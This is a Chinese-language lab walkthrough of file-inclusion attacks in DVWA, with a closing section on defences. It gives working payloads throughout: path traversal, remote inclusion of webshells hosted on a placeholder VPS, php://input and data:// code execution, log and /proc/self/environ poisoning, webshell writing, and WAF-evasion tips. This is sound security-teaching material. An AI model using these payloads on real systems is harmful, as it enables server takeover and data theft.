
1. 项目概述为什么DVWA的文件包含漏洞值得深挖如果你刚接触Web安全或者想找一个能让你把“文件包含”这个漏洞从理论吃到实操的靶场DVWADamn Vulnerable Web Application绝对是首选。它不像那些商业化的、包装得严严实实的靶场DVWA把漏洞赤裸裸地摆在你面前让你能亲手去“拧”每一个配置开关亲眼看到漏洞是如何被触发和利用的。今天要聊的“文件包含漏洞实战”就是这样一个从环境配置一路打到GetShell的完整链条。文件包含漏洞简单说就是一个Web应用在引用外部文件时没有对用户输入的文件路径进行严格过滤导致攻击者可以包含并执行任意文件比如系统敏感文件/etc/passwd或者我们上传的恶意脚本。在PHP里这通常通过include()、require()这类函数实现。DVWA靶场里这个漏洞的利用难度被分成了Low、Medium、High、Impossible四个等级这恰恰模拟了现实中从开发疏忽到安全加固的完整路径。而allow_url_include这个PHP配置项是整个链条里一个关键的“开关”。当它被开启On时PHP的包含函数不仅可以从本地文件系统包含文件还能通过HTTP、FTP等协议包含远程服务器上的文件。这就意味着攻击者甚至不需要在目标服务器上上传文件只要在自己的服务器上放一个恶意脚本然后让目标应用去包含这个远程URL就能直接执行代码。从配置到GetShell这中间每一步都充满了细节和“坑”也是我们今天要拆解的核心。2. 环境准备与核心配置解析动手之前得先把场子搭好。DVWA通常部署在集成环境里比如PHPStudy、XAMPP或者Docker。这里以Windows平台下最常用的PHPStudy为例因为它能让我们最方便地接触到并修改PHP的核心配置。2.1 DVWA靶场部署与初始化首先从DVWA的官方GitHub仓库下载最新源码。解压后将整个文件夹通常命名为dvwa放到你的Web服务器根目录下比如PHPStudy的WWW目录。接着访问http://127.0.0.1/dvwa你会看到一个红色的错误页面提示你需要配置数据库。这时你需要找到dvwa/config目录下的config.inc.php.dist文件将其复制一份并重命名为config.inc.php。用文本编辑器打开这个新文件找到数据库连接配置部分$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] pssw0rd;你需要根据自己本地MySQL的情况修改这些值。PHPStudy默认的数据库密码经常是root或空密码。修改保存后刷新浏览器页面点击页面下方的Create / Reset Database按钮。如果一切顺利页面会提示数据库和表创建成功并自动跳转到登录页。默认的账号密码是admin/password。注意很多新手在这一步会卡住最常见的问题是数据库连接失败。请务必确认1. PHPStudy中的MySQL服务已经启动绿灯。2.config.inc.php中的数据库密码与你PHPStudy里MySQL的root密码完全一致。3. 文件名必须是config.inc.php而不是.dist后缀的那个。登录成功后在左侧导航栏找到DVWA Security将安全等级设置为Low。这是我们进行漏洞学习的第一步因为Low级别几乎没有任何防护。2.2 关键PHP配置allow_url_include与allow_url_fopen现在来到重头戏PHP配置。文件包含漏洞能否进行远程包含Remote File Inclusion, RFI完全取决于两个关键的php.ini配置项allow_url_fopen和allow_url_include。allow_url_fopen默认为On。这个配置允许PHP的文件处理函数如fopen(),file_get_contents()打开URL对象如http://或ftp://流。可以把它理解为PHP的“网络下载”开关。allow_url_include默认为Off。这个配置专门控制include、require等文件包含函数是否允许包含URL。它是RFI漏洞的“总闸门”。它们的关系是要想成功进行远程文件包含RFI必须同时满足allow_url_fopen On和allow_url_include On。如果allow_url_include是Off即使allow_url_fopen开着你也只能包含本地文件Local File Inclusion, LFI无法直接包含远程URL执行代码。在PHPStudy中修改这两个配置非常方便打开PHPStudy在“软件管理”中找到你正在使用的PHP版本如PHP 7.3.4nts。点击“设置”选择“php.ini”配置文件。在打开的php.ini文件中使用CtrlF搜索allow_url_include和allow_url_fopen。将allow_url_include的值从Off改为On。确认allow_url_fopen的值为On。保存文件并务必重启PHPStudy的Apache服务使配置生效。实操心得在实际的渗透测试或CTF比赛中你无法直接修改目标的php.ini。因此判断allow_url_include是否开启本身就是信息收集的一部分。一个常见的技巧是先尝试包含一个已知存在的本地文件如../../../../etc/passwd来验证LFI是否存在。如果存在再尝试包含一个你控制的远程服务器上的URL如http://your-vps/shell.txt观察返回错误。如果报错提示“URL file-access is disabled”那基本可以断定allow_url_include是关闭的。这时候攻击思路就要转向利用本地文件包含LFI配合文件上传、日志注入等技巧来GetShell。3. 漏洞原理与DVWA各等级利用深度解析理解了环境配置我们深入到漏洞本身。DVWA的文件包含模块vulnerabilities/fi/提供了一个简单的页面通过page参数来包含不同的文件比如include.php、file1.php、file2.php。我们就是通过操控这个page参数来实现攻击。3.1 Low级别毫无防护的“裸奔”状态Low级别的源码简单得令人发指?php $file $_GET[page]; // 直接获取输入没有任何过滤 ?攻击者可以完全控制$file变量。利用方式多种多样目录遍历读取敏感文件http://127.0.0.1/dvwa/vulnerabilities/fi/?page../../../../etc/passwd通过../回退目录可以读取服务器上的任意文件在Windows下可以尝试../../../../windows/system32/drivers/etc/hosts。远程文件包含RFIGetShell 假设我们在公网VPS上放置了一个内容为?php phpinfo();?的文本文件地址是http://your-vps.com/shell.txt。http://127.0.0.1/dvwa/vulnerabilities/fi/?pagehttp://your-vps.com/shell.txt由于allow_url_includeOn服务器会去请求这个URL并将返回的内容即?php phpinfo();?当作PHP代码执行页面上会显示出phpinfo的信息。如果将shell.txt的内容换成一句话木马?php eval($_POST[cmd]);?那么我们就获得了该网站的一个WebShell。注意事项远程包含的文件后缀名不一定是.php。只要文件内容能被服务器解析为PHP代码即可。因此将恶意代码保存在.txt、.jpg甚至无后缀的文件中然后通过包含来执行是一种常见的绕过手段。3.2 Medium级别初级的过滤与绕过Medium级别的源码引入了简单的过滤?php $file $_GET[page]; $file str_replace( array( http://, https:// ), , $file ); // 过滤http://和https:// $file str_replace( array( ../, ..\ ), , $file ); // 过滤目录遍历 ?这里使用了str_replace函数但它只进行一次替换且是直接字符串替换。这就留下了经典的“双写绕过”漏洞。利用方式双写绕过过滤协议 要包含http://your-vps.com/shell.txt可以构造pagehthttp://tp://your-vps.com/shell.txt经过str_replace过滤掉中间的http://后剩下的部分正好拼接成http://your-vps.com/shell.txt。双写绕过目录遍历 要读取/etc/passwd可以构造page....//....//....//....//etc/passwd过滤掉../后剩下的../再次组合依然可以实现目录回退。也可以使用绝对路径如果知道Web根目录或使用..././等变体进行尝试。3.3 High级别白名单机制的“伪安全”High级别的源码看起来安全多了?php $file $_GET[page]; if( !fnmatch( file*, $file ) $file ! include.php ) { echo ERROR: File not found!; exit; } ?它要求$file参数必须以file开头或者等于include.php。这似乎是一个白名单机制。然而在allow_url_includeOn的前提下这个防护依然可以被绕过。利用方式利用文件协议file://或PHP封装器白名单只检查字符串开头但并不限制协议。因此我们可以使用file://协议来包含本地文件或者利用PHP内置的更多封装器。使用file协议读取文件pagefile:///c:/windows/system32/drivers/etc/hosts或者pagefile:///etc/passwdfile://协议允许直接访问文件系统完全绕过了对../的过滤和对文件名的前缀检查。利用PHP输入输出流php://input执行代码 这是更强大的一种方式它允许你直接POST数据过去当作PHP代码执行。前提是allow_url_includeOn且php://input可用。 攻击步骤使用Burp Suite或HackTool拦截请求。将GET请求改为POST请求。设置参数pagephp://input在POST Body中直接写入要执行的PHP代码例如?php system(whoami);?服务器会读取POST原始数据即php://input流并将其作为PHP代码执行。实操心得php://input在High级别下是一个“杀手锏”。因为它本身不是一个“文件”只是一个流包装器所以file*的白名单检查对它无效。它直接将HTTP POST请求的原始数据作为代码执行实现了“无文件”攻击非常隐蔽。在真实环境中如果遇到白名单限制一定要优先测试php://系列封装器。3.4 Impossible级别如何从根本上防御Impossible级别的源码展示了最佳实践?php $file $_GET[page]; switch ($file) { case include.php: case file1.php: case file2.php: case file3.php: include( $file ); break; default: echo ERROR: File not found.; break; } ?它采用了严格的白名单机制。$file的值必须完全等于白名单中预定义的几个值之一否则直接拒绝。这种设计从根本上杜绝了用户输入控制文件路径的可能性是防御文件包含漏洞最有效的方法。4. 从文件包含到GetShell的实战路径理解了各级别的绕过我们聚焦最终目标GetShell。这里以Low级别RFI可用和High级别仅LFI可用为例展示两条不同的攻击路径。4.1 路径一RFI直接GetShellLow/Medium级别这是最直接的方式前提是allow_url_includeOn。步骤准备恶意脚本在你的公网VPS上创建一个文件例如shell.php内容为一句话木马?php eval($_POST[ant]);?。ant是你自定义的连接密码。启动Web服务确保你的VPS上80或443端口有Web服务如Nginx/Apache在运行并能访问到这个shell.php文件。发起包含请求在DVWA的File Inclusion页面提交pagehttp://your-vps-ip/shell.php连接WebShell使用中国蚁剑AntSword、冰蝎Behinder或哥斯拉Godzilla等WebShell管理工具。新建一个Shell地址填写DVWA的漏洞URLhttp://127.0.0.1/dvwa/vulnerabilities/fi/连接密码填写antShell类型选择PHP_EVAL_XOR_BASE64根据工具和脚本类型选择。点击连接如果成功你将获得一个图形化的服务器文件管理器和命令执行终端。踩坑记录有时直接包含.php文件会被目标服务器的防火墙或WAF拦截。可以尝试以下变种使用短域名或IP地址。将脚本内容放在.txt文件中包含。使用URL编码或双重URL编码绕过简单的字符串过滤。如果VPS在国内注意目标服务器是否能正常访问你的VPS网络连通性。4.2 路径二LFI配合日志注入GetShellHigh级别当RFI被禁止allow_url_includeOff时我们需要利用本地文件包含LFI。思路是将一个包含PHP代码的字符串写入到服务器上一个能被我们包含访问的文件里。Web服务器的访问日志access log是一个绝佳的目标。原理Apache/Nginx会将每一个HTTP请求的详细信息包括User-Agent、Referer等头部字段记录到日志文件中。如果我们能在User-Agent中插入PHP代码那么这段代码就会被原样写入日志文件。然后我们利用LFI漏洞去包含这个日志文件其中的PHP代码就会被执行。步骤以Apache为例确定日志路径这是最关键的一步。默认路径可能是/var/log/apache2/access.logLinux或C:\xampp\apache\logs\access.logWindows。在DVWA中你可以先尝试包含一些常见路径或者利用phpinfo信息泄露来查找。污染日志使用Burp Suite或Curl向DVWA任意页面发送一个请求并修改User-Agent头为我们的PHP代码。GET /dvwa/vulnerabilities/fi/?pagefile3.php HTTP/1.1 Host: 127.0.0.1 User-Agent: ?php system($_GET[c]);? ...这段?php system($_GET[c]);?会被记录到access.log的某一行中。包含日志文件执行代码现在我们使用文件包含漏洞去读取这个日志文件并传递参数执行命令。http://127.0.0.1/dvwa/vulnerabilities/fi/?page../../../../var/log/apache2/access.logcwhoami服务器会包含access.log文件当解析到我们插入的那一行时?php system($_GET[c]);?会被当作PHP代码执行从而执行whoami命令。写入WebShell通过命令执行我们可以直接写入一个更稳定的WebShell文件到Web目录。cecho ?php eval($_POST[cmd]);? /var/www/html/dvwa/shell.php然后就可以用蚁剑等工具连接http://127.0.0.1/dvwa/shell.php。注意事项日志文件通常很大包含整个日志文件可能会导致PHP内存耗尽或超时。一个技巧是在污染日志后立即进行包含这样我们的恶意代码通常在日志文件的末尾更容易被成功解析。另外如果日志文件不可读这个方法就失效了。5. 高级利用技巧与PHP封装器实战除了基本的文件包含和日志注入PHP内置的一系列“封装器”Wrappers为文件包含漏洞打开了新世界的大门它们经常在CTF和高级渗透测试中被用到。5.1 php://filter 读取源码这是LFI中最常用的技巧之一用于读取PHP文件的源代码而不是执行它。因为include()函数会执行PHP代码但我们有时需要查看源码来寻找数据库密码、其他漏洞点等。利用方式pagephp://filter/readconvert.base64-encode/resourceindex.php这个Payload使用了php://filter流包装器并指定了一个convert.base64-encode过滤器。它的作用是读取index.php文件的内容经过base64编码后输出。因为输出的是base64编码的文本而不是可执行的PHP代码所以include()函数不会执行它而是将编码后的源码打印在页面上。我们将得到的base64字符串解码就能获得清晰的源代码。实操心得在读取配置文件如config.inc.php时特别有用。你可以在DVWA中尝试resource../../config/config.inc.php来读取数据库密码虽然DVWA的配置文件在Web目录外通常无法直接访问但此技巧在其他场景下威力巨大。5.2 php://input 直接执行代码如前所述这在High级别绕过中已经介绍过。它允许我们将POST请求的Body部分作为PHP代码执行是“无文件攻击”的典范。5.3 data:// 协议构造代码执行data://协议允许在URI中直接嵌入数据。当allow_url_includeOn且 PHP版本低于5.3或配置允许时可以用于执行代码。利用方式pagedata://text/plain,?php phpinfo();?或者为了绕过可能的标签检查使用base64编码pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2bPD9waHAgcGhwaW5mbygpOz8是?php phpinfo();?的base64编码5.4 利用 /proc/self/environ 或 /proc/self/fd/在Linux系统中/proc/是一个虚拟文件系统包含了进程和系统的信息。如果Web服务器进程有权限读取/proc/self/environ这个文件包含了进程的所有环境变量其中就包括HTTP_USER_AGENT。攻击者可以像污染日志一样通过User-Agent注入代码然后包含/proc/self/environ来执行。page../../../../proc/self/environ然后发送一个带有恶意User-Agent的请求。这种方法比日志注入更依赖环境因为/proc文件系统的访问可能受限。6. 防御方案与安全开发建议攻击是为了更好的防御。通过DVWA的实战我们应该深刻理解文件包含漏洞的根源在于“不可信的用户输入控制了文件路径”。根本性防御措施严格使用白名单像Impossible级别那样只允许包含预定义的文件名。这是最有效的方法。关闭危险配置在生产环境中务必确保php.ini中allow_url_include和allow_url_fopen设置为Off。这能从根本上杜绝RFI攻击。对输入进行严格过滤和验证如果必须动态包含文件应对用户输入进行严格检查。不仅过滤../还要检查是否包含协议头http://,php://等。但过滤往往容易被绕过白名单是更优解。设置open_basedir在php.ini中配置open_basedir将PHP可访问的文件限制在指定的目录树中可以有效防止目录遍历攻击读取系统敏感文件。避免动态包含重新评估代码设计是否真的需要动态包含文件很多情况下可以通过路由、函数调用等更安全的方式实现相同功能。保持最小权限原则运行Web服务的进程如www-data, apache用户应仅拥有必要的最小文件系统读取权限。给开发者的代码审计建议在代码审计时全局搜索include(),require(),include_once(),require_once()这些函数检查它们的参数是否直接或间接来源于用户可控的输入如$_GET,$_POST,$_COOKIE。如果存在这里就是一个潜在的高危漏洞点。从打开allow_url_include这个危险的配置开关到利用各种技巧最终获取服务器ShellDVWA的文件包含漏洞模块提供了一个近乎完美的学习路径。它告诉我们安全是一个链条任何一个环节的松懈一个不安全的配置、一处未过滤的输入都可能导致整个防线的崩溃。真正的安全始于对每一行代码、每一个配置的敬畏之心。